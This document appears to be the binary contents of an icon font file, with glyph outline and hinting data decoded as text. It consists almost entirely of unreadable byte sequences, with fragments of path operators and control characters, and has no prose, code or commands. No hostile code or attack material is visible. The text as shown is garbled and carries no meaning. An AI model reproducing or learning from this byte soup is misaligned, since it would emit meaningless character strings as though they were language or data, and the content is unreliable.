i g Y a QYYY@?+*ywonkjfd`_[YVURQLKFE<:42*B+B+4'&'&"276767 '&'&7676 312;2+"&=464&"26&462"74632#"'.#"2767#"&50154632"'&%4&"326&462"%"&463!2#"&463!2#<:ceec:<<9cffc9<*A@lppl@AA@lppl@A	<.*j/F.0B1 )
%
)@@1+j/F./E



^



^wfc9<<9cffc9<<9cfwpl@AA@lppl@AA@lp7c
L#E,-D.P"-


#,!E,,E.



	

	        ( 1 : C L @
LK	PX@A r~ ~
~ ~	~    W   _  O@B ~ ~
~ ~	~    W   _  OY@ED32! IHDLEL762:3:%$ (!(6+.7632%	'.>'264&"7.>'264&"7.>5264&"
		%
B	J1C @@@"~ @@?"} ?@@"D(	
 
)@@@@1""w?@?@1""w@??@0"" 
  jkR   ' - ? K W c o { @=(5L g  	g 		g 

g   g g g g W _ OqpedYXMLA@/.wtp{qzkhdoen_\XcYbSPLWMVGD@KAJ9742.?/?+)"+#.7>&/63!2#!"&54?3265%!+3!2654&"&46;2#"&46;2#"&46;2#"&463!2#"&463!2#xhh(--2
$$%	t%	q												K				6				F$		o~~$%$		%zl}}}   	  jkR   ) 2 ; D P \ h @'L   g  g g g g	
i W _ O^]RQFEca]h^gXUQ\R[LIEPFOCB?>:96510-,#!))'51+63!2#!"&54?3265%!+3!2654&"&462"&462"&462%"&463!2#%"&463!2#"&463!2#|
$$%	t%	q-""}""}""				6		M				wK$%$		%zl"""}        m  ( @ J O Y KPX@:	
r  r

g  hW_OKPX@;	
r  

g  hW_O@<	

  

g  hW_OYY@+PPLKPYPXSQNMKOLOJHCA=<540.+)"('# +#"&46;'&462"&47!2#!"&546332+"/&4?627!"3!3#!2654&#		??%%%%

??t		**		I:CA&`&&&C:
`
*6

   (  = U xK
PX@=/iL'
IKPX@=/iL'I@=/iL'
IYYK
PX@2    gi i	 
g	
a 

QKPX@1    gi i	Y	a
Q@2    gi i	 
g	
a 

QYY@&VV>>  VxVwmkge][>U>TQOKJCB:7  +6767#&/&%6;2&'546767676'&6726;24.#'.46?2!"&463#"32#"'&'&547>3,X!@<,9XOX;8E
0
	xK:.		

5U6		1# i?))W3)K,9D!	nHB8P!A!K%

 8!(%&3E,5
2-7N=0/4     jR  - I N w      =@VS
kK;LKPX@q	  	p 

 r r   	 i
ji ig Y b RKPX@r	  	p 

 r    	 i
ji ig Y b RKPX@s	  	 ~ 

 r    	 i
ji ig Y b R@t	  	 ~ 

     	 i
ji ig Y b RYYY@AyxPOJJ~xyrpiha_ZYUTOwPwJNJN<+4'&'&"276767"'.'&47>762& '.;26=676&5"&"."3267>546232>4.".4>2!".4>2'4&"267"&4624&"267"&462?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&'BB,O	}	I',/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>*%4$$4%J*%4$%3%^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]rr	M!S		?6
*p-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%	$$4%% 	  jR  - A j w     @IF^
L    

     i g  j  i	i	 	i Y b RyxlkCB~xyrqkwlwec\[TRMLHGBjCj+4'&'&"276767"'.'&47>76227676. '."&"."3267>546232>4.".4>2!".4>2%4&"267"&4623264&+"?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&' 'ECCE'BB/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>f*%4$%3%}		}	^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]E"!!"Err-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%"     L $ @ ] u @1 	Li IK
PX@8 	 q g
gi		Y	a		Q@7 	  g
gi		Y	a		QY@-_^&% olfd^u_tYWPMFD=;54.+%@&?"  $$+7".?#".=4>3!2+"+";276;&=4>;.#"/#".=4>3!2+";2'&6;26=4&# 66 6	"1		e#11#!		U6s.n 56 66 
k"11"
!#11#
q5  56
0#71""1	Uf6&6 65  6q0##1gV2""1        ) A uKPX@- r~   p  i   Y   b  R@/ ~   ~  i   Y   b  RY@'+276764'&'&"476762"'&'&%#"2?64/&+4&"--KMMK----KMMK--T97_aa_7997_aa_79whh ^[MK----KMMK----KM[qa_7997_aa_7997_a%      jR  $ d z (@%
s1	 LKPX@J r   r  g  

g  		g  i g Y b RK PX@K r     g  

g  		g  i g Y b R@L      g  

g  		g  i g Y b RYY@~yvroie^[XUPMHE3:8+%26=264/&"272>4."014>3!2+"&46;2654&#!"&/.+";2+".54672;23!254&#!"4>2".>>u-MZM--MZM-/0*2y

y&'!7"u&&y

y2A

y"6 	&<7_t_77_t_7q

>>-L--LZM--M//#51'*&!' '
2 /%' l%(:_88_t_77`      k  " 1 H@E/L   	 g  g W _ O,)&%$#"":5@
+"#!"3!2654.;26=301!5!33!26=5"11"H"12X
S
***1""11"5[:M

H*1        ) ? uKPX@-   r ~ p    i Y b R@/    ~  ~    i Y b RY@%+4'&'&"276767"'&'&4767623264/&";265A--KMMK----KMMK--T97_aa_7997_aa_79hh ^[MK----KMMK----KM[qa_7997_aa_7997_a     k    7@4  Y a  Q
	 	
 	+"&462!"&462!"&462"11D21"11E00#11F001D11D11E00E11D10E1    G    ,@)    i  i Y a Q+462"&462"&462"&1E01D11E00E11D10E1#00F11#00E11#11E11          *@'     W _O    $+"'&476%2#&2
2'%%02&2'1%2&       *@'     W _O    $+2764'&"%"3&22&v%%02&2&1%2&    /+  $@! L       v+"&6762"/"&51%1&2&2%L%71&r%%      +(  xK
PX LKPX  L LYYK
PX@       vKPX@     v@       vYY+%'&"2764&"4&"1&1&2&2%q&22&%%   >   @ L    v 
 +"'&'&7676 'ol?AA?look?AA?lo|A?look?AA?lopl?A   i( 	  ' 7 ; K O _ c o {            #/8AJ  !3!26554&#!"#!".54>3!2"&=46;2#'35#"&=46;2#'35#"&=46;2#'35#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&=46;2#'35#"&=46;2#'35#"&=46;2#'35#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&462"&462"&462l%$$$0000		S		>))		S		>))		S		>))		}}		}}		}}		}}		}}		}}		S		?**		S		?**		S		?**}		}	}		}	}		}}		}}		}}		'STXz%%>%%>P0000	S		S	)*TT**	S		S	*)S}T}S	S		S	)*TT**	S		S	*)S}T}S		     i( 	  ' 0 9 B R V b n ~    T:1(LKPX@j!r  g	
i$   g  g+#! "!"g)&g*('%g W _ O@k!!  g	
i$   g  g+#! "!"g)&g*('%g W _ OY@hpodcXWDC

xuo~p}igcndm][WbXaVUTSLICRDQA@=<8743/.+*$!

63,+!3!26554&#!"#!".54>3!2!"&462"&462"&462"&=46;2#'35#3"&46;2#"&46;2#3"&=46;2#'35#3"&46;2#"&46;2#5#"&=46;2"&=#32+"&463l%$$$0000ST		S		>))		}}		}}		S		?**}		}}		S		S*}		Xz%%>%%>P0000			S		S	*)S	S		S	*)S$		+		+		 	      + 7 C ^ g p @ZOL     g  i  i ig		W	_
		O98,,!   onkjfebaRQGF?<8C9B,7,620'$ +!*  6+7"&5463!2#%!!"&463!2#3"&463!2#"&463!2#3"&463!2#"&4?>76&''4&"267"&462h		N}		M		N}		M		|$"*2F11F2		*e}X	W&$44H33 	  jkR   ) 2 ; D M V _ o@l'L   g  	g	
	ii W _ O^]ZYUTQPLKHGCB?>:96510-,#!))'51+63!2#!"&54?3265%!+3!2654&4&"267"&4624&"267"&4624&"267"&462|
$$%	t%	q-*%4$$4%}*%4$$4%})$4%%4$K$%$		%zl<		$$4%%		$$4%%		$$4%%     jkR ' 9 ? Q @O:
 GLKPX@<  r 
g 
 
g   g g 		W 	_ 		O@=   
g 
 
g   g g 		W 	_ 		OY@ A@  KIFD@QAQ=;41,) ' &4%+%41#"&=463!2"&=#32+"&46363!2#!"&54?3265%!+3!2654&}N}*}		:
$$%	t%	qd#!		66		!$%$		%zl     j( 	  ' 0 9 B \ e n     `@:1(ZwHPLKPX@o  r  g	
i"  ! g !% ! g#i  g Yi $g W _ O@p   g	
i"  ! g !% ! g#i  g Yi $g W _ OY@TDC

úô~zysqnmjidc`_VRLJC\D\A@=<8743/.+*$!

63&+!3!26554&#!"#!".54>3!2%"&462"&462"&46232;2#01#"&=464&"26&462"74632#"'.#"2767#"&=>32"&%4&"26&462"!"&463!2!"&463!2l$$$$00//STqA--s2L33J4%
(-EI1L--t4I44J<				<			X~&&:'':T2211		ig
Q0#H//H/S$/	
2

-%0$I./H/T$      j( 	  ' 0 9 B Y f z@w:1(LL   g	
i   g  i  i W _ O

dc^]YWRQHGA@=<8743/.+*$!

63+!3!26554&#!"#!".54>3!2%"&462"&462"&462"&4?&54>2#74."2>l$$$$00//ST'CNC('C(/080/90X~&&:'':T2211		%3'C''CND'009/0  	  j( 	  ' 0 9 B Y f rK
PX@:1(OWLKPX@:1(OWL@:1(OWLYYK
PX@V rrr  g	
i   g  g i W _ OKPX@Prr  g	
i   g g i W _ OKPX@V rrr  g	
i   g  g i W _ O@W rr  g	
i   g  g i W _ OYYY@8ig[ZDC

nlgrira`Zf[fSQLKHGCYDYA@=<8743/.+*$!

63+!3!26554&#!"#!".54>3!2%"&462"&462"&462"&=!"&=463!2"&5462#"&46;2l$$$$00//STw	N	6}		}X~&&:'':T2211			!!		66	3			      (  + 7@4~  i   Y  _   O###"53+#!"&5463!2#";26=3264&+54&"fDHcfE?Gc&&~HcfE?Gcf&&      (   $@!      v53+#!"&5463!2!264&#!"fDHcfE?GcYB~HcfE?Gcfn&&    0 C 5@2CL       W   _  OA@;:32)'+6&'.!654&'.7>'!.7467>6201"/&462d2
!
&gM
DA=D`S%&
!}hpYRnN	
 	
	K`%
E2&ma!J<G@	@O.A	"	DztymTum	

	    gR   + 7 H T ` l x      y@! LKIKPX@{  r   p ~
!	  g  i  i  i  i  i$#"W$#"`P@}     ~ ~
!	  g  i  i  i  i  i$#"W$#"`PY@Pzynmba98-,}yztqmxnwhealbk^]XWRQLKED?<8H9H30,7-6#5#6#5%+"&=46;2+7"&46;2+7"&46;2+7"&46;2#3"&46;2"&=462"&5462"&52+"&463#2+"&463#2+"&=462'"&=462'"&=462'"&=462.54>+&/767'&>;.
1

y

\

\

]

]

\

u

0
		]

]

\

m

0
!$bF#MJ@)	Q8RA

0

0

z

\

e

1		
0

z

\

\

\

\

]

]rm@#!E51
*W     t>   , '@$!  L     W   _  O7+!%%62#!"&5461&'&'&7676`:L$*)$M8/ؙuO!$!:op9!$!P        .    # , 5 ^@[	
i  Y a  Q.-%$
	 21-5.5)($,%, ##	
 +7"&462!"&462!"&462%"&462!"&462!"&462#11F00&"11E00*"11E11G#11F00&"11E00*"11E111D10E11E00E11E01D11D10E11E00E11E01D1          : ]@Z#L 	 	i g   g
  Y
  a Q
	 8631+(!	
 +%2"&46!2"&463!2754&#%!2#!"&'&'&#"&4632%%4&&%%4&&>|	V !-		D)":$4%%4$$4%%4$>	* 	O4-(:0    vf B ^ b    @fL    g  

i g  		gYaQdcCC|zwvnkcdba`_C^C]ZXUTQOLJGF+%.767>/&/&'&'&?2676&'&'&7>76%546232+"&=#"&46337#72+"&/0#&'&"&4632"&4623"&462
(#9IYWPSj	#$I1u<	
 D8R)'
	w]ZbeS@'"-}		}}		j~-35	!C]
CI;*5	#$ZWPS5$	$(<]Zbd((

</B	QM}		}}		}6)


      v( 3 7 R [ d p |  @;L  gg  

i  g  i  		gYaQrqfe]\TS98 wuq|r{kiepfoa`\d]dXWS[T[OMJIC@8R9R7654-*!  32+%2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462"&46;2#!"&46;2#%.>.6?		z);.*:
			"
"" ~.36		!	D\		M		h
RT
=d2$C'1$)D})

C<A0     v(  ' + ; ? O S c      @  aM9YE1	L   g   g'%#&$"i
		g  i) g(i  g!Y!a+ *QedUTPPA@<<-,((ȼtqkhde][TcUcPSPSRQIG@OAO<?<?>=53,;-;(+(+55,+462"&5'"&=463!2"&=4&#!"35'32+"&=4635'32+"&=4635'32+"&=462#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462%%	`	S}}}		z);.*:
			"
"" ~.36		!	D\d*$$**		?))*dd*))*dd*))*dd2$C'1$)D})

 	  v(   # / c g    @kL 
 
g   g g g g  i g		i  gYaQih10%$ }zysphigfed]ZQPLK@=740c1b+($/%.#" 
 +"&463!2#"&463!2#%"&463!2#"&463!2#2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462		r		r								g		z);.*:
			"
"" ~.36		!	D\S2$C'1$)D})

   R   ( 1 5 E I Y ] m q    @L! g  i   g    g	
i 
 
g)'%#(&$"gW_Osrnn_^ZZKJFF7622*)! |yrsnqnqpohe^m_mZ]Z]\[TQJYKYFIFIHG@=6E7E252543.-)1*1%$ (!(#9*+37#72+"&/&'&"&46323"&4623"&462!%!2#!"&54635'32+"&=4635'32+"&=4635'32+"&=4635'32+"&=46-36	 
\kk	}	}	}	}	*
	q*	f			SS*	}		}	*SS*	}		}	*SS*	}		}	*SS*	}		}	   	  v( 3 7 R [ d    @{tme;LK	PX@p r p  g  i  i  ij  

i  g  i  		gYaQKPX@q  p  g  i  i  ij  

i  g  i  		gYaQ@r  ~  g  i  i  ij  

i  g  i  		gYaQYY@O]\TS98 xwkia`\d]dXWS[T[OMJIC@8R9R7654-*!  32 +%2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462#"&54?6?64&#?6763232?#"&462".4>2'2>4."		z);.*:
			"
"" ~.36		!	D\?9_88_r`88`9-M--MZL--Ld2$C'1$)D})

('
	&8_r_88_r_8)-MZM--MZM-   v(    # , 5 i m    @qL  g  i	
i  i gi  gYaQon76yvnomlkjc`WVRQFC=:6i7h430/+* +4&"267"&4624&"267"&4624&"267"&4622#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462*%4$$4%}*%4$$4%})$4%%4$r		z);.*:
			"
"" ~.36		!	D\^		$$4%%		$$4%%		$$4%%2$C'1$)D})

     v Q U q z  f@6YLKPX@ 
r 		~  

g  g  g! g  i g i   i  g  gYa Q@ 

 		~  

g  g  g! g  i g i   i  g  gYa QY@F|{srWV{|wvrzsznlhga^VqWqUTSRNLIGFDA?><875410$'# "+%#"&=#"&54?63!23232"&5#"&5#"&5#!2#!!2#!!2#!"&537#72+"&/&'&#"&4632"&4623"&462573+57	-	-0	^4		%		-26!
C\3	%	-		-	O		d		I		q	)

	    v( , 9 m q       \@#&uLK	PX@ r ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QK
PX@ r ## && &&~*  r 	 	g $$Y  j"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QKPX@ r ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QKPX@  ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-Q@  ## && &&~*   	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QYYYYA}             s r ; : . -                                                          } z r  s  q p o n g d [ Z V U J G A > : m ; l 4 3 - 9 . 9 " !    
     ,  , 3  +"&'&>264&'#.54>32&'.""&54622#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&46226=4&""&=462'";26=4&#54>32#"6;2+"&5'264&""&5462"&5462264&+"&463+<%3&!420+=%3& e1			z);.*:
			"
"" ~.36		!	D\)):)(!W/$!  ! e*9))9*		@-!		!
) &-!	!@&)	M			2$C'1$)D})

kk*,k++k,k$		$62&"$!!_
		!,>=,!
     v( 3 7 R [ d }      %2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462#762'46?#./>3"/&/57'&47>;#762'46?#./>3"/&/57'&47>;#762'46?#./>3"/&/57'&47>;		z);.*:
			"
"" ~.36		!	D\
.	$
	-,

#.
.	$
	-,

#.&
.	$
	-,

#.d2$C'1$)D})

07
!6
6!	07
!6
6!	17
!6
6!	    jR 	  ' 0 9 B a k t }          	@¹%L  gi.g#!" i/g	
 i   ) g ) (&)(i0& %&%g  g  'i $ '+$'g-+2,1*+*i W _ OϦbb|{xwsronbkbkhea_\YVSLIA@=<8776333+!54&#!"!3!2653#!".54>3!2!"&462"&462"&4627&=4>3!2+"&46;265!"%54&#!"7"&462"&462"&462&=4>3!2+"&46;265!"%54&#!"7"&462"&462"&46237#72+"&/01&'&"&4632"&4623"&462*q%%q%%)0000ST000S		S${	$%TSS<0//)		)%z%$SSTi~.36	!	D\^?$$i%$0000				S0061%b)?$$??					S0/6/%b*>%%>>		ݓ*

	   v    . O _ c g    @k
?	
Lc> J   g  i 
	
g 	 	gYaQihPP0/!}zysphigfeda`P_P^:965/O0O.!.+7>'%.546;+'!!"&?>3%6%2"&=!"&/76&546"&'&62#%!'%37#72+"&/&'&"&4632"&4623"&462G
		#->)L	WL	 #	
GLW
L
*?-36		!	D\`
KO	Az!*
%
*		y
"
*
%
*!\)

   v   ' 0 g   @h
<6OL 
g 
 
g  i g   g    g	Y	aQ)( |ymkebZWTQGEA>9831-,(0)0$#' '+37#72+"&/&'&"&4632"&4623"&462!2"&54&#!"&/&+"3!2#!"&54?>;2'.+".?>;2.67.?>;2&/.+"~.36		!	D\$		%(	+		%( "

,! ,-
)

$H
	]m,$nYI+	*T!	+~	   v( ' [ _ z  cLKPX@\  r 
 
g   g g  i g		i  gYaQ@]   
 
g   g g  i g		i  gYaQY@@|{a`)(  {|wurqkh`zaz_^]\URIHDC85/,([)Z ' &45+41#"&=463!2"&=#32+"&4632#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462}	M	}*}		I		z);.*:
			"
"" ~.36		!	D\4#!		6		6		!2$C'1$)D})

    
  v-   ' 0 W m { ~  @}bmLK%PX@ 
r   r ~ ~      

i  jg  i  i g    g	Y	aQ@ 

    ~ ~      

i  jg  i  i g    g	Y	aQY@I||nn)( |~|~n{nzutkjed`_ZYPO=<-,(0)0$#' '+37#72+"&/&'&"&4632"&4623"&462.67>54."'.546762762"/"&4?622"/&4635&>2654/&'"2'&/&5462"."2""&7462"&5-36		!	D\z
2:AppAPCN^LABC@&'CuuJ	1_%/3F2%
/3F3@)

#m?CsCCsCL|#WO'(('ADOIwxI	*aa#		**&	
	*)&		      R    ' + ; ? O S n w          
  !%!2#!"&546!%!2#!"&546!%!2#!"&546!%!2#!"&546737#72+"&/&'&#"&4632"&4623"&462%37#72+"&/&'&#"&4632"&4623"&46237#72+"&/&'&#"&4632"&4623"&462%37#72+"&/&'&#"&4632"&4623"&462wt_	*wt_	wt_	*wt_	Y!&
f
)0	D	Y!&
f
)0	D	Y!&
f
)0	D	Y!&
f
)0	D	(w*	`			*w*	`			w*	_	*w*	_	o&

		ao&

		mo&

		ao&

		     A'   ? M@J		    i
	g W _ O  =<98541/*'"   5#+5>232#!"&546;5."#"3!2654&+"&=#"&5MUTS#00#"11"}=z=*SS.TQTTRS0#"11"#0R@==?|y		yy		   A1   ? M@J		    i
	g W _ O  =<98541/*'"   5#+5>232#!"&546;5."#"3!2654&+"&=#"&5C[[I#00#"11"6r7>I				I.UTZ[US0#"11"#0R<77;				ddd   A'   2@/    Y   a  Q    5#+5>232#!"&546;5."MUTS#00#"11"}=z=.TQTTRS0#"11"#0R@==?     " , 6 B N Z Y@V   g	 
 i 
 
i W _ O--## @?:9-6-620#,#,)&	 "!+0137>3!232+#!"&'#"&4633!267/.#!"462"&5.?>&/&>}D#$D		,>
7#	#8
>,		W<"!<?@

#*+${*u*
									     " , 5 A M Y `@] 

 ~   g	 
 i W _ O--## ?>98-5-51/#,#,)&	 "!+2137>3!232+#!"&'#"&4633!267/&#!"462"&5.?>&/&>hgG+#,F#=
>&	'>
<$c:;?	@%/0's>i>     ) 5 A M A@>  g 	 Y
 		i Y _ O  43.- ) )&3##3# +#"&46;7>3!232+#!"&''.#!"26=4&"76.6%'.>A		D#$D		B<-
-(?@


""
						
    (  + 2 ? L U _@\  g 		g  g  
g
 
i  Y  a Q,,TSPOJIDC=<76,2,2%##33%"+264&"!2#!3!2#!"&'#"&46;2!26?4>2".%4>2".7264&"%4$$4%	 ;(:%		4Q
el		};7#08009/_080/90*$4%%3%%%4$$	'5)%/B3	 z0080/009/0%%4$$    3  , 3 @ M V _@\  g 		g  g  
g
 
i  Y  a Q--UTQPKJED>=87-3-3$3$33%"+264&"!2#!3!2#!".'#"&46;2!26?4>2".%4>2".7264&",* B+4"%A,dc} 6/5>54>5_5>55>5?,,,+9!*!9$44>5544>55,     ( " / < R@O    ~   g  g
Y
a	Q10$#760<1<*)#/$/##33% +!2#!3!2#!"&'#"&46;22".4>!2".4>	 ;'9%		4Q
el		}]0080/|009/0	'5)$0B3	L08009/080/90    (  + <@9      	 v  +*%$  
+"&5#"&4?62#46232"/&463"hh"i
XYY	          F W k e@b)hbL 	 
 i i  i Y a QYXIG fd_^XkYkPOGWIV87#" +2"'&'.4676761".5467276767>54&'&'&'#2>54.'2".=326564'VXSQ&"&R;QSXWTP<RS;PTW:CssC<<""%'1HOQQOI!"L1' 8[57_t_75[8..6. +#"A%"=h2@"##"@2h2i1@##\HVDsCCsD.P 0 0	-.*< !! <!0	Y,>9^7:_88_:7^9l.6..,        ! mLKPX@" r   gW` P@#    gW` PY@ !  +232#!"&=46;&5463!!,	RM	,OF,z,S   (  # 2 C@@  ~ g   W  _  O 1.)(#"	 +!".54>3!2"3!2654&#4?62#!"&:t$=##=$$=##=P	

	Jl#=$$=##=$t$=#7t7	

	    (   " B@?    ~g   W   _  O  !  +!%!"3!2654&2?64&#!"a&#22##22n	

	J&]2##22##2	

	     -  # 4 "@# 4L     v,++%&27%>4&6"'%.>6"'%.>^]


8&e	
f&&e	
f&e#&&#	,$%&"    ? = G Q g f@cSGgQ5
	f0)(!L   ~ ~     i Y a Qdc	+76217621"/&'"&4?'"&4?.6?'&4?62764'1&"764'1&"6?627<}<)Ku'dg)yy.yy!'tOt

				
	.!!K YX .q<}<*Su'!yy-y})gd'uKu
	



		.!XX!K!!.   
      # , 5 K c z N@432
LK
PX@Q 

 ~   i   ii	i W _ OKPX@K 

   i   ii	i W _ O@Q 

 ~   i   ii	i W _ OYY@=76%$
	 |{qpedML6K7K10)($,%, ##	
 +2"&462"&46!2"&462"&46!2"&46.'7"&'&'&>"'"767>'&'1&'&!'&'&547>762%!654'&'&"&&s&A&[&*0)i	!!')%
,
	2''Z]]Z''53W>=gkkg=>.&&S&&&&&&&&)	\.*%!&+"			CLOSe]Z''''Z]eTC"w}kg=>>=gk}   {c=   ( + 3 V c @*	FEW LRK 		
  g 	g  i  i h Y  i   W   _ O,,))  b`ZXTSQOIGDB?=75,3,3210/.-)+)+"('  ##+3!4&#!#13265"&54?63!2#''##37#"'&5476;54&#"5632;#.'5#"326 	  	O;:%%*.&%!">#(',		!	c	 M q 	<}\\J&%&	&l&)>   jR  B [ p @,65LK
PX@;    	 	i    i  iYa
QKPX@4   	 	i    i iYa
Q@;    	 	i    i  iYa
QYY@]\DCgf\p]pPOC[D[#,+462"&#.?67>754&+"&#&63276;2727632?6"'.'&47>762'276764'&'&"%3%%3%}*
	yhe]Z''''Z]]Z''''Z]e}kg=>>=gkkg=>>=gk""1""#F$	E#''Z]]Z''''Z]]Z''*>=gkkg=>>=gkkg=>   v<  ( < E N W @@= 0)L       Y a QDC@?76-,! +'%'.4>2&'&67%&6762&462".546264&">.>._O& 4;"_	";4"Oz&64>33
)=('?(818;83;
5;5J>&J6;4		5>(44)=f*(?'*817227 18      .  ) E \@Y    i	g  Y a
  Q** *E*DA?<;8631.- ))
 +"'&'&476762'276764'&'&"546232+"&=#"&463}lh>??>hlli=@@=il}dWT1331TWWT1331TW6&&q@=illi=@@=illi=@\31TWWT1331TWWT13&&      m 3 H ] t 9@6l]5LphdcXTSOC?:*)%#I     vji21+?6276/#/&?#'&57'&6?62'#767'&67%76'46?'"&/762'46?'"/ESKKOG2	`pG	Gpd	6)*`KXOy		)		yKX	Kd*yyyd>?d}
}
WB!CSOB"CW
yK\Cd2%:u	
u:!2`C\??`}}`
      m  3 J d u #K
PX@wu^OEA<8	dJ7L3 IKPX@wu^OEA<8dJ7L3 I@wu^OEA<8	dJ7L3 IYYK
PX@4 

  g 
 	
	i  i  Y a  QKPX@.   g
	i  Y a  Q@4 

  g 
 	
	i  i  Y a  QYY@ |{qpihWV0-(%  +7".54>3!2#!.?2?!2654&#!";276'46?'"&/&?'&6?62/%&462"&4?%"/&4?622222*$''&&;2	&6	6&>		T%%T		>
KKK;::KKq2$121qX%'$&&'
:6&22&
6:S:	KK	:S*KK:?;:KK     
      
1  "#01'7''&7>7898967>7''"/.46?>30127'701701676301327&76709898167670181'#01"'18981'2367181676'5'&'.'#01&#&8	9763012	2?64'&/&'897'77'"'&+"0167181675"/.54?#811OW\#0[?	&\	TM@HJK[X#/!O\[ %"'T%$%3+S!D%Z	"\![\\S
@E7F98!$
"&'O\![O*#`B"\!TG!*[S0#W!WO+ 

SF &%)
 (!&"!1%	Z	&_h[[\*S%E*$""&!99     9 ! 1@.     i   Y   a Q   ! !+5276764'&'&"#47676 `TQ0110QTTQ01uA?kook?AA?ko}u10QTTQ0110QT`ok?AA?kook?A    $ \ ` d h l'K
PX@N   r g    gg
Wg 		g_OKPX@B g   gg
gW_	O@N   r g    gg
Wg 		g_OYY@2ee]]lkjiehehgfdcba]`]`_^\ZWUPMHFCA@>96!#%5#!%5!+5#"&=46;2+!232+"&=46;54&#!32+"&=46;5!"32+"&=46;5463!3535#!3535#K				K*K



KK				KK



K(
6



)	

	
		
	

	*^𚚚     jAR  E /@,A	 L       Y  a   Q>;+54>2>54."&'&'&754&"/&'&'&3!26?54'&F 6@6 ,29ata:32@K	*:*"
D6A%$ʲ 7  7 ]7:c9:b:7^	^**Z D7"	#+     $ ,@) L   Y a Q 
 +"'&'&476762'54&">&qa_7997_aa_7997_aU C97_aa_7997_aa_796iu        : 3@0%  L        W _ O&9%<9+#!"'.46?676763!2'!"47>;2!2(		(g+g!&('
)',
	O2"('!!       ) H Y =@:?L    i   W   _  OJIRPIYJYED53:K+&'&3!267>'	#!"&5467>'4'&54>32"&'&2#"'&547>
!	s"1sA
w	*!	z	"{B1#
	6		

[!		      ( A H@EL 
	
	 	  W  _  OA?:720#%5!%5# +3232#!"&=46;5!32#!"&=46;546;5#"&=463!2+,qlmq,p0l,}tt},t   ( ^"K
PX@0
 L#JKPX@0
 L#J@0
 L#JYYK
PX@6 	 		
	
~ 

 g_OKPX@5 	 		
	
~ 

W_O@6 	 		
	
~ 

 g_OYY@   ^ ^][QOHGFE?>64/.-++"/"&=6?>235#"&'&546?>;+354?632"&'"&=#32#"/.46?>;5KK		G		K(G	K	KK    (  ! "@  i   Y  a   Q+"&'&4767622?64/&">|>>><kiܯ!$	Ci||ikkh?>|%%%    c  # @@=  L     g  g W _ O%%3+>3232"'.7#"&573#7#
0S	

[q>'dA	

	A7=     x 7 ,@)    i  g Y a Q5(++"/&6767>#&'&'&6763276+".7DBDN%&BD),,7_\im65n_[jl_>P'%&BCN%&C,_55p^]in648?     (   2 1@.
 L   i   Y   a Q)(22'+327.72654'&'&#&"'&'&476762>/.OR`t`K?/.OR`973}kh<??<hkkg=>>=gk&Xp_QO/0GM)Wq_QO/0>=gkkg=>>=gkkg=>              # ' + / 3 7 ; ? C G K O @,+*)('&%$#"	!  
  v884400,,(($$    8;8;:9474765030321,/,/.-(+(+*)$'$'&% # #"!
	  -+#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#}*T*S%O!K"KGGBCC?::7622..    ( " , < L \ l |     @&L 	g	
	ggg   W  _   O/-zwrojgb_ZWROJGB?74-</<##32&#+#!.546;56;23546;232!3!26#"&=46;27+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;25#n$45#WK

K	X)7Xnz	)K		K
	K

K		K

K		K

K	
K		K
g	K

K		K

K	
K		K
g	K

K	\%35$y%3`	``		`3jr
K		G


K		K

K				G

G		G

G		G

		G		G		G		G		G		        e  @    v+>32"/.47P		\6		        e  @    v#+&'&#"2?>4'		\	6		         @ L     v(+#!"/4&54?62	
5			     8 E +@(         vED?>+"&4?>"&4?>.62.6?6267"&4?62' 'ihN'' $55' 'hiN''&44'* ''Nhi' '54$[('Nhi')45$''      (  " *@'      Y  a   Q+"&'&476762'&"2764'&">|>>><kiFm&%f'Ci||ikkh?>|Fl&Z&       @L     v+62"/&462-1&2&2q&1-1&      ;  ! @   v+"'&4762"'&47620&1,1&&1,1&^1&'5(&21&'5(&2    @  ! FK
PX@     vKPX@   v@     vYY+2764'&"2764'&"&2,2&&2,1%^1&'5(&21&'5$%3      q 4 2@/& L    i  g Y a Q5'*'+4676'"&'.367674.'&'&;2>'EDBDN%&MK*-,8^]il64ohm`	?P'%&BDRLD,_55p^\iml7	?
       X   # A@>   g g W _O #" 
	+"&463!2#"&463!2#"&463!2#`  , Q  6! C!!E   , !+ !,  ,! ,  ,    (  ) 1@.  i  Y a  Q  ))
 +276764'&'&"7"'&'&476762}kg=>>=gkkg=>>=gk}_QO/00/OQQO/00/OQl>=gkkg=>>=gkkg=>l/.ORRO.//.ORRO./   (  @     v+"&'&476762>|>>><kiCi||ikkh?>|      (  ) ; A@>8/L     i Y a Q 52 ))
 +"276764'&'&'2"'&'&47676/546;2dWT1331TWWT1331TWd}kg=>>=gkkg=>>=gk	!lC31TWWT1331TWWT13W>=gkkg=>>=gkkg=>	X6
